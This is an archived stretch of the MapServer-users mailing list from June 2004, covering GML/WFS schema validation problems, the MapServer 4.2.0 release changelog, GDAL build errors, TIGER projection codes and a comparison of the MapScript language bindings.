XML Spy and I get and > error. I am > using Mapserver 4.2. > > The error I get is: > > Mandatory element 'gml:_Feature' expected in place of Gemeentes. > > In the DescribeFeatureType response there is another problem > (but maybe > this is the cause of the first problem as well?): > > the URL to the GML schema is: > > http://ogc.dmsolutions.ca/gml/2.1.1/feature.xsd > > This one does not exist anymore, the 2.1.2 feature schema does exist > though. The version number is hardcoded in mapwfs.c. > > Anybody else experiencing these (validation) errors? > > Best regards, > Bart > > -- > annex 1: part of my GetFeature response > > > > > > > 128558.900000,499724.500000 > 134533.400000,504609.100000 > > > > > > > > > > 130401.300000,503894.099900 130579.500000,503799.700000 > 131548.000100,503660.100000 131489.700000,503858.000100 > 131773.100000,503932.700000 131865.299900,503957.200000 > 133099.299900,504609.100000 133209.000000,503977.500000 > 133441.100100,503733.100000 133588.099900,503473.100000 > 133861.299900,503540.300000 133861.299900,503540.300000 > 133739.700100,503372.699900 133760.600000,503139.200000 > 134174.500100,502917.000100 134230.899900,502735.900100 > 134384.800100,502258.900000 134533.400000,501841.800000 > 134216.599900,501423.499900 133983.900100,500917.300000 > 134003.299900,500788.400000 133575.500000,500471.900100 > 133399.400000,500240.300100 133139.800100,500297.000000 > 133139.800100,500297.000000 133069.900000,500287.900000 > 133057.400100,500369.900000 133057.400100,500369.900000 > 132947.700000,500323.300100 132906.199900,500143.199900 > 132795.700100,500081.500100 132776.900000,499981.900100 > 132728.600000,499724.500000 132585.400100,499766.800100 > 132679.000100,500372.900100 132679.000100,500372.900100 > 131675.199900,500164.400000 130918.799900,500093.699900 > 130714.099900,499988.699900 130378.899900,499801.400100 > 130024.900000,499980.300100 128558.900000,500826.300000 > 129112.200100,501755.900100 130401.300000,503894.099900 > > > > > > 0385 > 385 > Edam-Volendam > 26852 > 12 > 0.04 > 27 > 27 > Noord-Holland > 23 > Groot-Amsterdam > 44 > Amsterdam > 21 > 21.2 > Amsterdam-Purmerend > West > 2 > 057 > Waterland > 10 > Zuidelijk Noord-Holland > 34 > ROA > 34 > ROA > 9 > Hoorn > 11 > Zaanstreek-Waterland > 136 > > > > -- > annex 2: part of my DescribeFeatureType response > > targetNamespace="http://www.ttt.org/myns" > xmlns:myns="http://www.ttt.org/myns" > xmlns:ogc="http://www.opengis.net/ogc" > xmlns:xsd="http://www.w3.org/2001/XMLSchema" > xmlns="http://www.w3.org/2001/XMLSchema" > xmlns:gml="http://www.opengis.net/gml" > elementFormDefault="qualified" version="0.1" > > > > schemaLocation="http://ogc.dmsolutions.ca/gml/2.1.1/feature.xsd" > /> > > type="myns:Gemeentes_Type" > substitutionGroup="gml:_Feature" /> > > > > > > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users > From eduardo at consultoria.eti.br Fri Jun 4 06:17:55 2004 From: eduardo at consultoria.eti.br (Eduardo Patto Kanegae) Date: Fri, 4 Jun 2004 10:17:55 -0300 Subject: [Mapserver-users] LibCURL and MapServer Message-ID: <20040604131755.17277.qmail@hm47.locaweb.com.br> what is the function of LibCURL for MapServer? is it used to "parse" wms/wfs queries? best. Eduardo Patto Kanegae http://www.consultoria.eti.br UIN: 303747254 I Encontro Nacional de Usu?rios MapServer - http://mapserver.cttmar.univali.br/encontro2004 Projeto MapServer Brasil - http://mapserver.cttmar.univali.br ***Fim da Mensagem / End of Message *** From markadams at cuestasys.com Fri Jun 4 06:14:17 2004 From: markadams at cuestasys.com (Mark Adams) Date: Fri, 4 Jun 2004 09:14:17 -0400 Subject: [Mapserver-users] MapServer 4.2.0 released In-Reply-To: <40BF7DED.9000007@dmsolutions.ca> Message-ID: <000e01c44a35$d7227be0$1300a8c0@cuestasys.com> Can someone tell me whether the gdal included with the Windows PHP mapscript binary packages has support for jpeg 2000 (jp2) files? I have been trying out maplab and received an "unsupported format" error when trying to view a jp2 file. The gdal web page indicates that this format should be supported; I can't see any way of determining whether the dll I have installed from the mapscript package somehow excludes this format or not. (I've seen reference to a utility called gdal-config but none of the gdal packages I've been able to find and download include this utility.) Thanks for any help you can provide. ------------------------------ Mark Adams Business & Systems Analyst Cuesta Systems Inc. 5230 South Service Road Burlington, ON L7L 5K2 Phone: 905-333-4544 x14 Fax: 905-333-0455 Email: markadams at cuestasys.com -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Daniel Morissette Sent: Thursday, June 03, 2004 3:37 PM To: mapserver-users Subject: [Mapserver-users] MapServer 4.2.0 released On behalf of all the developers, I am pleased to announce that MapServer 4.2.0 has been released earlier last week. I'm sorry if this announcement comes a bit late, I guess we just assumed that we didn't need a formal announcement since we talked so much about the new release on the list, but some questions that I've received recently have proven me wrong. This new release resolves several issues that were found in version 4.0, and adds a bunch of enhancements and new features. The relevant portion of the HISTORY.TXT is included below. Users of 4.0 are encouraged to upgrade to 4.2 as it is a much more stable in my opinion. The migration from 4.0 to 4.2 should be very easy: there should not be any backwards compatibility issues contrary to what some of you may have experienced when migrating from 3.6 to 4.0. This release is available for download at the usual location on the UMN website: http://mapserver.gis.umn.edu/dload.html Windows binaries including PHP MapScript are also available on maptools.org: http://maptools.org/php_mapscript/index.phtml?page=downloads.html And an update for the MS4W package (http://maptools.org/ms4w/) will also be available soon. Best Regards, Daniel ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ Version 4.2.0 (2004-05-25) -------------------------- - Postgis: added "WHERE false" to query that looks up the schema for item queries. This should greatly improve performance for complex queries. - Mapscript: fixed the shape copy test in mapscript tests. - Mapscript: replaced bad PNG file in tests with one that reads on win32. - mapresample.c: Ensure background value is properly initialized in case of rgb or rgba resampled rasters. Version 4.2-beta3 (2004-05-14) ------------------------------ - Fixed another write past end of buffer in INIMAGE WMS errors (bug 644) - Removed "xbasewohoo" debug output when using JOINs and fixed a few error messages related to MySQL joins (bug 652) - No more Python-stopping but otherwise benign errors raised from msDrawWMSLayer() (bug 650). - Finished prototyping all MapServer functions used by SWIG-Mapscript and added 'void' to prototypes of no-arg functions, eliminating all but two SWIG-Mapscript build warnings (bug 658). - Fixed mapwcs.c so that gdal.h and cpl_error.h are not included if USE_WCS_SVR is not enabled ... which is never is in 4.2. - msBuildPath() no longer used with temporary filenames when saving images via GDAL. - Bug 493: fix the raster cracking fix. The last fix introduced a serious heap corruption / errant pointer problem in some render cases. - Resolved issue with pens and dynamically drawing points (bug 663). - Removed unused metadata gml_uri in WFS code (Bug 527) Version 4.2-beta2 (2004-05-03) ------------------------------ - Map cloning fixed. However, users must now set the cloned map's fontset and symbolset explicitly (see bug 557). A new testcopy program has been added as a target for make. - Fixed problem with PHP's pasteImage() method when angle=0 - Fixed build problem in mapresample.c when compiling without GDAL. - Fixed possible crash when producing WMS errors INIMAGE (bug 644) - Fixed automated generation of onlineresource in OWS GetCapabilities when the xxx_onlineresource metadata is not specified: the map= parameter used to be omitted and is now included in the default onlineresource if it was explicitly set in QUERY_STRING (bug 643) - Fixed an issue with annotation label overlap. There was an issue with the way msRectToPolygon was computing it's bounding box. (bug 618) - Fixed "raster cracking" problem (bug 493) Version 4.2-beta1 (2004-04-17) ------------------------------ - Added support for WMS 1.1.1 in the WMS interface. - Added support for WMS-SLD in client and server mode. - Added support for attribute filters in the WFS interface. - WMS Interface: several fixes to address issues found in running tests against the OGC testsuite. One of the side-effects is that incomplete GetMap requests that used to work in previous versions will produce errors now (see bug 622). - Modified configure scripts to be able to configure/build PHP MapScript using an installed PHP instead of requiring the full source tree. - Added ability to combine multiple WMS connections to the same server into a single request when the layers are adjacent and compatible. (bug 116) - Support POSTed requests without Content-Length set. - Added support for proper classification of non-8bit rasters. - Added support for BYTE rawmode output type. - Added support for multiple bands of output in rawmode. - MySQL joins available - Fixed problems with detection of OGRRegisterAll() with GDAL 1.1.9 in configure due to GDAL's library name change. Fixed a few other minor issues with GDAL/OGR in configure. - Modified configure to disable native TIFF/PNG/JPEG/GIF support by default if GDAL is enabled. You can still enable them explicitly if you like. - Replace wms_style_%s_legendurl, wms_logourl, wms_descriptionurl, wms_dataurl and wms_metadataurl metadata by four new metadata by metadata replaced. The new metadata are called legendurl_width, legendurl_height, legendurl_format, legendurl_href, logourl_width, etc... Old dependancy to the metadata with four value in it , space separated, are not kept. - Implement DataURL, MetadataURL and DescriptionURL metadata in mapcontext.c (bug 523) - PHP MapScript's pasteImage() now takes a hex color value (e.g. 0xrrggbb) for the transparent color instead of a color index. (bug 463) - OGR data sources with relative paths are now checked relative to SHAPEPATH first, and if not found then we try again relative to the mapfile location. (bug 295) - There is a new mapObj parameter called MAXSIZE to control maximum image size to serve via the CGI and WMS interfaces. The default is 2048 as before but it can be changed in the map file now. (bug 435) - Added simple dataset for unit and regression tests (bug 453) - PostGIS: added postresql_NOTICE_HANDLER() sending output via msDebug() and only when layer->debug is set (bug 418) - Added Apache version detection in configure and added non-blocking flag on stderr in msDebug() to work around Apache 2.x bug (bug 458) - MapScript rectObj: added optional bounding value args to constructor and extended rectObj class with a toPolygon method (bug 508). - MapScript pointObj: added optional x/y args to constructor (bug 508). - MapScript colorObj: added optional RGB color value args to colorObj constructor, and extended colorObj class with setRGB, setHex, and toHex methods. The *Hex methods use hex color strings like '#ffffff' rather than '0xffffff' for compatibility with HTML (bug 509). - MapScript outputFormatObj: extended with a getOption method (bug 510). - MapScript imageObj: added optional mapObj argument to the save method resolving bug 549 without breaking current API. Also added optional driver and filename arguments to constructor which allows imageObj instances to be created with a specified driver or from files on disk (bug 530). Added new code to Python MapScript which extends the filename option to Python file-like objects (bug 550). This means StringIO and urllib's network objects! - MapScript classObj and styleObj: added a new styleObj shadow class and extended classObj with getStyle, insertStyle, and removeStyle methods. MapScript now supports multiple styles for dynamically created classes (bug 548). - MapScript layerObj: added getExtent, getNumFeatures extension methods, allowing getShape to access inline features (bug 562). - Added fixes for AMD64/Linux in configure (bug 565) - Removed OGR_STATIC stuff in configure script that used to allow us to build with OGR statically by pointing to the OGR source tree. That means you can only build with OGR when *installed* as part of GDAL, but that's what everyone is doing these days anyway. - Mapscript outputFormatObj: extended constructor to allow format names, and mapObj methods to append and remove output formats from the outputformatlist (bug 511). - New SWIG mapscript development documentation in the spirit of the PHP-Mapscript readme file, but using reST (bug 576). - Paving way for future changes to SWIG mapscript API with new features enabled by NEXT_GENERATION_API symbol (bug 586). - Added ability to set string member variables to NULL in PHP MapScript (bug 591) - New key iterators for map, layer, and class metadata hash tables (bug 434) and fontset fonts hash table (bug 439). - Fixed potential crash when using nquery with a querymap enabled and some layers have a template set at the layer level instead of inside classes (bug 569). - New CONFIG keyword in the MAP object in a .map file to be used to set external configuration parameters such as PROJ_LIB and control of some GDAL and OGR driver behaviours (bug 619) _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From bartvde at xs4all.nl Fri Jun 4 06:22:12 2004 From: bartvde at xs4all.nl (bartvde at xs4all.nl) Date: Fri, 4 Jun 2004 15:22:12 +0200 (CEST) Subject: [Mapserver-users] Mapserver GML valid? In-Reply-To: <2576812186CDD411BF1500508B6DCE9507366F13@ecnwri1.ontario.int.ec.gc.ca > References: <2576812186CDD411BF1500508B6DCE9507366F13@ecnwri1.ontario.int.ec.gc.ca> Message-ID: <14891.212.238.227.182.1086355332.squirrel@webmail.xs4all.nl> Hi Tom, just tried this one. The DescribeFeatureType response is valid now, but with validating the GML response I still get the same error. Mandatory element 'gml:_Feature' expected in place of Gemeentes. Best regards, Bart > > Try pointing to http://schemas.opengis.net/ in your mapfile, i.e.: > > "ows_schemas_location" "http://schemas.opengis.net/" > > ..Tom > >> -----Original Message----- >> From: mapserver-users-admin at lists.gis.umn.edu >> [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of >> Bart van den Eijnden >> Sent: Friday, June 04, 2004 4:40 AM >> To: mapserver-users at lists.gis.umn.edu >> Subject: [Mapserver-users] Mapserver GML valid? >> >> >> Hi list, >> >> I was just checking Mapserver GML in XML Spy and I get and >> error. I am >> using Mapserver 4.2. >> >> The error I get is: >> >> Mandatory element 'gml:_Feature' expected in place of Gemeentes. >> >> In the DescribeFeatureType response there is another problem >> (but maybe >> this is the cause of the first problem as well?): >> >> the URL to the GML schema is: >> >> http://ogc.dmsolutions.ca/gml/2.1.1/feature.xsd >> >> This one does not exist anymore, the 2.1.2 feature schema does exist >> though. The version number is hardcoded in mapwfs.c. >> >> Anybody else experiencing these (validation) errors? >> >> Best regards, >> Bart >> >> -- >> annex 1: part of my GetFeature response >> >> >> >> >> >> >> 128558.900000,499724.500000 >> 134533.400000,504609.100000 >> >> >> >> >> >> >> >> >> >> 130401.300000,503894.099900 130579.500000,503799.700000 >> 131548.000100,503660.100000 131489.700000,503858.000100 >> 131773.100000,503932.700000 131865.299900,503957.200000 >> 133099.299900,504609.100000 133209.000000,503977.500000 >> 133441.100100,503733.100000 133588.099900,503473.100000 >> 133861.299900,503540.300000 133861.299900,503540.300000 >> 133739.700100,503372.699900 133760.600000,503139.200000 >> 134174.500100,502917.000100 134230.899900,502735.900100 >> 134384.800100,502258.900000 134533.400000,501841.800000 >> 134216.599900,501423.499900 133983.900100,500917.300000 >> 134003.299900,500788.400000 133575.500000,500471.900100 >> 133399.400000,500240.300100 133139.800100,500297.000000 >> 133139.800100,500297.000000 133069.900000,500287.900000 >> 133057.400100,500369.900000 133057.400100,500369.900000 >> 132947.700000,500323.300100 132906.199900,500143.199900 >> 132795.700100,500081.500100 132776.900000,499981.900100 >> 132728.600000,499724.500000 132585.400100,499766.800100 >> 132679.000100,500372.900100 132679.000100,500372.900100 >> 131675.199900,500164.400000 130918.799900,500093.699900 >> 130714.099900,499 > 988.699900 130378.899900,499801.400100 >> 130024.900000,499980.300100 128558.900000,500826.300000 >> 129112.200100,501755.900100 130401.300000,503894.099900 >> >> >> >> >> >> 0385 >> 385 >> Edam-Volendam >> 26852 >> 12 >> 0.04 >> 27 >> 27 >> Noord-Holland >> 23 >> Groot-Amsterdam >> 44 >> Amsterdam >> 21 >> 21.2 >> Amsterdam-Purmerend >> West >> 2 >> 057 >> Waterland >> 10 >> Zuidelijk Noord-Holland >> 34 >> ROA >> 34 >> ROA >> 9 >> Hoorn >> 11 >> Zaanstreek-Waterland >> 136 >> >> >> >> -- >> annex 2: part of my DescribeFeatureType response >> >> > targetNamespace="http://www.ttt.org/myns" >> xmlns:myns="http://www.ttt.org/myns" >> xmlns:ogc="http://www.opengis.net/ogc" >> xmlns:xsd="http://www.w3.org/2001/XMLSchema" >> xmlns="http://www.w3.org/2001/XMLSchema" >> xmlns:gml="http://www.opengis.net/gml" >> elementFormDefault="qualified" version="0.1" > >> >> > >> schemaLocation="http://ogc.dmsolutions.ca/gml/2.1.1/feature.xsd" >> /> >> >> > type="myns:Gemeentes_Type" >> substitutionGroup="gml:_Feature" /> >> >> >> >> >> >> >> >> >> _______________________________________________ >> Mapserver-users mailing list >> Mapserver-users at lists.gis.umn.edu >> http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users >> > From devel at itdownunder.com.au Fri Jun 4 06:29:37 2004 From: devel at itdownunder.com.au (Andrew Rich) Date: Fri, 4 Jun 2004 23:29:37 +1000 Subject: [Mapserver-users] MapServ Compile Error after GDAL 1.2 install Message-ID: <000e01c44a37$fc3ed750$65c8a8c0@arlaptop> This is a multi-part message in MIME format. ------=_NextPart_000_000F_01C44A8B.CDEAE750 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Hi All Initially I had MapServer working ok but I received a image from Tyler that required a projection. To enable projections I install GDAL 1.2.0 and PROJ 4.4.8 . I used the following configure line ./configure --with-gd=/usr/src/gd-2.0.22 --with-proj=/usr/src/proj-4.4.8 --with-gdal=/usr/src/gdal-1.2.0/apps/gdal-config --with-wms Then make: [root at tanami mapserver-4.2.0]# make gcc -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_PROJ -DUSE_PROJ_API_H -DUSE_WMS_SVR -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DUSE_GDAL -I/usr/src/gd-2.0.22 -I/usr/src/proj-4.4.8/src -I/usr/src/gdal-1.2.0/port -I/usr/src/gdal-1.2.0/gcore -I/usr/src/gdal-1.2.0/alg -I/usr/src/gdal-1.2.0/ogr -I/usr/src/gdal-1.2.0/ogr/ogrsf_frmts mapserv.o cgiutil.o -L. -lmap -L/usr/src/gd-2.0.22/.libs -lgd -ljpeg -lfreetype -lpng -lz -ljpeg -lfreetype -lpng -lz -L/usr/src/proj-4.4.8/src/.libs -lproj -ljpeg /usr/src/gdal-1.2.0/libgdal.la -lm -o mapserv /usr/src/gdal-1.2.0/libgdal.la: file not recognized: File format not recognized collect2: ld returned 1 exit status make: *** [mapserv] Error 1 Is this GDAL-1.2 too new and should I downgrade or is it something else. Regards Andrew Rich ------=_NextPart_000_000F_01C44A8B.CDEAE750 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

Hi All

 

Initially I had MapServer working ok but I received a = image from Tyler that required a projection.

 

To enable projections I install GDAL 1.2.0 and PROJ = 4.4.8 .

 

I used the following configure = line

 

./configure --with-gd=3D/usr/src/gd-2.0.22 --with-proj=3D/usr/src/proj-4.4.8 --with-gdal=3D/usr/src/gdal-1.2.0/apps/gdal-config = --with-wms

 

Then make:

 

[root at tanami mapserver-4.2.0]# = make

gcc -O2  = -Wall -DIGNORE_MISSING_DATA  = -DUSE_EPPL -DUSE_PROJ -DUSE_PROJ_API_H -DUSE_WMS_SVR        -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT    -DUSE_GDAL     -I/usr/src/gd-2.0.22  -I/usr/src/proj-4.4.8/src       -I/usr/src/gdal-1.2.0/port -I/usr/src/gdal-1.2.0/gcore -I/usr/src/gdal-1.2.0/alg = -I/usr/src/gdal-1.2.0/ogr -I/usr/src/gdal-1.2.0/ogr/ogrsf_frmts      = mapserv.o cgiutil.o   -L. -lmap -L/usr/src/gd-2.0.22/.libs -lgd -ljpeg -lfreetype -lpng -lz    -ljpeg -lfreetype = -lpng -lz   -L/usr/src/proj-4.4.8/src/.libs -lproj -ljpeg  = /usr/src/gdal-1.2.0/libgdal.la        -lm  -o = mapserv

/usr/src/gdal-1.2.0/libgdal.la: file not recognized: = File format not recognized

collect2: ld returned 1 exit = status

make: *** [mapserv] Error = 1

 

Is this GDAL-1.2 too new and should I downgrade or is = it something else.

 

Regards

Andrew Rich

------=_NextPart_000_000F_01C44A8B.CDEAE750-- From assefa at dmsolutions.ca Fri Jun 4 07:13:51 2004 From: assefa at dmsolutions.ca (Yewondwossen Assefa) Date: Fri, 04 Jun 2004 10:13:51 -0400 Subject: [Mapserver-users] Mapserver GML valid? In-Reply-To: References: Message-ID: <40C0839F.4070803@dmsolutions.ca> Bart, I have made the changes to point vers the 2.1.2. There is though still a problem validating these using XML SPY. We have run into this problem previously but did not come up with an explanation : usally I do the validations using the following OGC site http://cite.occamlab.com/gmlTools/validateInstance.jsp. When running the same "valid" XML through XML SPY, we get the error you got. The problem seems to be that XMP Spy seems to not read or cannot get the DescribeFeatureType schema. If you save that schema into a local file and modify your XML to point to this local file, It validates through XML Spy. I still do not have a reasonable explanation for this (but I really do not know much either about XML Spy and what and what not is possible). Later, > Hi list, > > I was just checking Mapserver GML in XML Spy and I get and error. I am > using Mapserver 4.2. > > The error I get is: > > Mandatory element 'gml:_Feature' expected in place of Gemeentes. > > In the DescribeFeatureType response there is another problem (but maybe > this is the cause of the first problem as well?): > > the URL to the GML schema is: > > http://ogc.dmsolutions.ca/gml/2.1.1/feature.xsd > > This one does not exist anymore, the 2.1.2 feature schema does exist > though. The version number is hardcoded in mapwfs.c. > > Anybody else experiencing these (validation) errors? > > Best regards, > Bart > > -- > annex 1: part of my GetFeature response > > > > > > > 128558.900000,499724.500000 134533.400000,504609.100000 > > > > > > > > > 130401.300000,503894.099900 > 130579.500000,503799.700000 131548.000100,503660.100000 > 131489.700000,503858.000100 131773.100000,503932.700000 > 131865.299900,503957.200000 133099.299900,504609.100000 > 133209.000000,503977.500000 133441.100100,503733.100000 > 133588.099900,503473.100000 133861.299900,503540.300000 > 133861.299900,503540.300000 133739.700100,503372.699900 > 133760.600000,503139.200000 134174.500100,502917.000100 > 134230.899900,502735.900100 134384.800100,502258.900000 > 134533.400000,501841.800000 134216.599900,501423.499900 > 133983.900100,500917.300000 134003.299900,500788.400000 > 133575.500000,500471.900100 133399.400000,500240.300100 > 133139.800100,500297.000000 133139.800100,500297.000000 > 133069.900000,500287.900000 133057.400100,500369.900000 > 133057.400100,500369.900000 132947.700000,500323.300100 > 132906.199900,500143.199900 132795.700100,500081.500100 > 132776.900000,499981.900100 132728.600000,499724.500000 > 132585.400100,499766.800100 132679.000100,500372.900100 > 132679.000100,500372.900100 131675.199900,500164.400000 > 130918.799900,500093.699900 130714.099900,499988.699900 > 130378.899900,499801.400100 130024.900000,499980.300100 > 128558.900000,500826.300000 129112.200100,501755.900100 > 130401.300000,503894.099900 > > > > > 0385 > 385 > Edam-Volendam > 26852 > 12 > 0.04 > 27 > 27 > Noord-Holland > 23 > Groot-Amsterdam > 44 > Amsterdam > 21 > 21.2 > Amsterdam-Purmerend > West > 2 > 057 > Waterland > 10 > Zuidelijk Noord-Holland > 34 > ROA > 34 > ROA > 9 > Hoorn > 11 > Zaanstreek-Waterland > 136 > > > > -- > annex 2: part of my DescribeFeatureType response > > targetNamespace="http://www.ttt.org/myns" > xmlns:myns="http://www.ttt.org/myns" > xmlns:ogc="http://www.opengis.net/ogc" > xmlns:xsd="http://www.w3.org/2001/XMLSchema" > xmlns="http://www.w3.org/2001/XMLSchema" > xmlns:gml="http://www.opengis.net/gml" > elementFormDefault="qualified" version="0.1" > > > > schemaLocation="http://ogc.dmsolutions.ca/gml/2.1.1/feature.xsd" /> > > type="myns:Gemeentes_Type" > substitutionGroup="gml:_Feature" /> > > > > > > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- ---------------------------------------------------------------- Assefa Yewondwossen Software Analyst Email: assefa at dmsolutions.ca http://www.dmsolutions.ca/ Phone: (613) 565-5056 (ext 14) Fax: (613) 565-0925 ---------------------------------------------------------------- From jeff at propertykey.com Fri Jun 4 07:21:12 2004 From: jeff at propertykey.com (Jeff Hoffmann) Date: Fri, 04 Jun 2004 09:21:12 -0500 Subject: [Mapserver-users] projection issues In-Reply-To: References: Message-ID: <40C08558.7000603@propertykey.com> Leah Roderman wrote: > I always tangle with projection issues and then forget my solutions. > > Problem: My coordinates are misaligned with my TIGER shapefiles. > > The long explanation: I am using TIGER '90 polygons and line features. > Atop these, I am displaying points used by taking GPS readings, saving > them in Postgres, and retrieving them via PostGIS. > I am collecting GPS data using a Garmin etrex Vista. The export file I > generate for coordinates includes "Datum WGS 84" at top. My > understanding of TIGER is that it is not in any projection (based on > http://www.census.gov/geo/www/tlmetadata/metadata.html). I use EPSG 4269 for newer TIGER which seems to work fine. I haven't used older TIGER, but since they say they use NAD27 pre-1994, I'd guess you'd want to use EPSG 4267. I don't know about the GPS coordinates, although I would start by trying EPSG 4326. -- Jeff Hoffmann PropertyKey.com From Tom.Kralidis at ec.gc.ca Fri Jun 4 07:36:26 2004 From: Tom.Kralidis at ec.gc.ca (Kralidis,Tom [Burlington]) Date: Fri, 4 Jun 2004 10:36:26 -0400 Subject: [Mapserver-users] Mapserver GML valid? Message-ID: <2576812186CDD411BF1500508B6DCE9507366F1D@ecnwri1.ontario.int.ec.gc.ca> Hi Bart, This means the DescribeFeatureType output has an issue with it (while it's stil valid), which the GetFeature output doesn't agree with. PS note that in your MAP/WEB/METADATA you can set your own namespace and prefix for the GML, i.e.: "wfs_namespace_uri" "http://www.myhost.com/namespace" "wfs_namespace_prefix" "ddd" ..Tom > -----Original Message----- > From: bartvde at xs4all.nl [mailto:bartvde at xs4all.nl] > Sent: Friday, June 04, 2004 9:22 AM > To: Kralidis,Tom [Burlington] > Cc: mapserver-users at lists.gis.umn.edu > Subject: RE: [Mapserver-users] Mapserver GML valid? > > > Hi Tom, > > just tried this one. The DescribeFeatureType response is > valid now, but with validating the GML response I still get > the same error. > > Mandatory element 'gml:_Feature' expected in place of Gemeentes. > > Best regards, > Bart > > > > > Try pointing to http://schemas.opengis.net/ in your mapfile, i.e.: > > > > "ows_schemas_location" "http://schemas.opengis.net/" > > > > ..Tom > > > >> -----Original Message----- > >> From: mapserver-users-admin at lists.gis.umn.edu > >> [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Bart > >> van den Eijnden > >> Sent: Friday, June 04, 2004 4:40 AM > >> To: mapserver-users at lists.gis.umn.edu > >> Subject: [Mapserver-users] Mapserver GML valid? > >> > >> > >> Hi list, > >> > >> I was just checking Mapserver GML in XML Spy and I get and > error. I > >> am using Mapserver 4.2. > >> > >> The error I get is: > >> > >> Mandatory element 'gml:_Feature' expected in place of Gemeentes. > >> > >> In the DescribeFeatureType response there is another problem (but > >> maybe this is the cause of the first problem as well?): > >> > >> the URL to the GML schema is: > >> > >> http://ogc.dmsolutions.ca/gml/2.1.1/feature.xsd > >> > >> This one does not exist anymore, the 2.1.2 feature schema > does exist > >> though. The version number is hardcoded in mapwfs.c. > >> > >> Anybody else experiencing these (validation) errors? > >> > >> Best regards, > >> Bart > >> > >> -- > >> annex 1: part of my GetFeature response > >> > >> > >> > >> > >> > >> > >> 128558.900000,499724.500000 > 134533.400000,504609.100000 > >> > >> > >> > >> > >> > >> > >> > >> > >> > >> 130401.300000,503894.099900 130579.500000,503799.700000 > >> 131548.000100,503660.100000 131489.700000,503858.000100 > >> 131773.100000,503932.700000 131865.299900,503957.200000 > >> 133099.299900,504609.100000 133209.000000,503977.500000 > >> 133441.100100,503733.100000 133588.099900,503473.100000 > >> 133861.299900,503540.300000 133861.299900,503540.300000 > >> 133739.700100,503372.699900 133760.600000,503139.200000 > >> 134174.500100,502917.000100 134230.899900,502735.900100 > >> 134384.800100,502258.900000 134533.400000,501841.800000 > >> 134216.599900,501423.499900 133983.900100,500917.300000 > >> 134003.299900,500788.400000 133575.500000,500471.900100 > >> 133399.400000,500240.300100 133139.800100,500297.000000 > >> 133139.800100,500297.000000 133069.900000,500287.900000 > >> 133057.400100,500369.900000 133057.400100,500369.900000 > >> 132947.700000,500323.300100 132906.199900,500143.199900 > >> 132795.700100,500081.500100 132776.900000,499981.900100 > >> 132728.600000,499724.500000 132585.400100,499766.800100 > >> 132679.000100,500372.900100 132679.000100,500372.900100 > >> 131675.199900,500164.400000 130918.799900,500093.699900 > >> 130714.099900,499 > > 988.699900 130378.899900,499801.400100 > >> 130024.900000,499980.300100 128558.900000,500826.300000 > >> 129112.200100,501755.900100 130401.300000,503894.099900 > >> > >> > >> > >> > >> > >> 0385 > >> 385 > >> Edam-Volendam > >> 26852 > >> 12 > >> 0.04 > >> 27 > >> 27 > >> Noord-Holland > >> 23 > >> Groot-Amsterdam > >> 44 > >> Amsterdam > >> 21 > >> 21.2 > >> Amsterdam-Purmerend > >> West > >> 2 > >> 057 > >> Waterland > >> 10 > >> Zuidelijk Noord-Holland > >> 34 > >> ROA > >> 34 > >> ROA > >> 9 > >> Hoorn > >> 11 > >> Zaanstreek-Waterland > >> 136 > >> > >> > >> > >> -- > >> annex 2: part of my DescribeFeatureType response > >> > >> >> targetNamespace="http://www.ttt.org/myns" > >> xmlns:myns="http://www.ttt.org/myns" > >> xmlns:ogc="http://www.opengis.net/ogc" > >> xmlns:xsd="http://www.w3.org/2001/XMLSchema" > >> xmlns="http://www.w3.org/2001/XMLSchema" > >> xmlns:gml="http://www.opengis.net/gml" > >> elementFormDefault="qualified" version="0.1" > > >> > >> >> > >> schemaLocation="http://ogc.dmsolutions.ca/gml/2.1.1/feature.xsd" > >> /> > >> > >> >> type="myns:Gemeentes_Type" > >> substitutionGroup="gml:_Feature" /> > >> > >> > >> > >> > >> > >> > >> > >> > >> _______________________________________________ > >> Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu > >> http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users > >> > > > > From sgillies at frii.com Fri Jun 4 08:05:43 2004 From: sgillies at frii.com (Sean Gillies) Date: Fri, 4 Jun 2004 09:05:43 -0600 Subject: [Mapserver-users] Perl/MapScript or PHP/Mapscript In-Reply-To: <20040604054422.48219.qmail@web60809.mail.yahoo.com> References: <20040604054422.48219.qmail@web60809.mail.yahoo.com> Message-ID: On Jun 3, 2004, at 11:44 PM, Alexander Lim wrote: > Hi all, > > I just getting started and realised that we can make > use of Perl/MapScript and PHP/Mapscript, but i would > like to know what's the differences and which one is > "better" to use. And which one is more popular and > more people are using it (This is for getting help > from this list when i face some problem down the > line). Does the two perform and is doing the same > thing at all? > > which one should i adopt in terms of flexibility and > features. > > please advice. thanks > > alex > Hi Alex, The mapscript family tree looks like this: MapServer /\ / \ / \ PHP/MapScript \ \ SWIG MapScript ---------+--------- | | | Perl Python Ruby The Perl, Python, Ruby flavors are like brothers and sisters and the PHP MapScript is like a very close cousin to them. They are all quite equal in mapping capability. The Perl mapscript does not quite work natively on Windows, but the others work equally well across platforms. There is no clear "better" choice. It will depend on your needs. The PHP language makes web programming easy, and this is the most popular type of MapScript. The DM Solutions Group uses PHP/Mapscript primarily and have developed a bunch of great web mapping tools that they share with PHP/Mapscript users. http://maptools.org/ They are also very good about answering questions on the users list, so PHP/Mapscript has the best overall support. One looming issue for PHP/Mapscript is that there is currently no support for PHP 5. On the other hand: 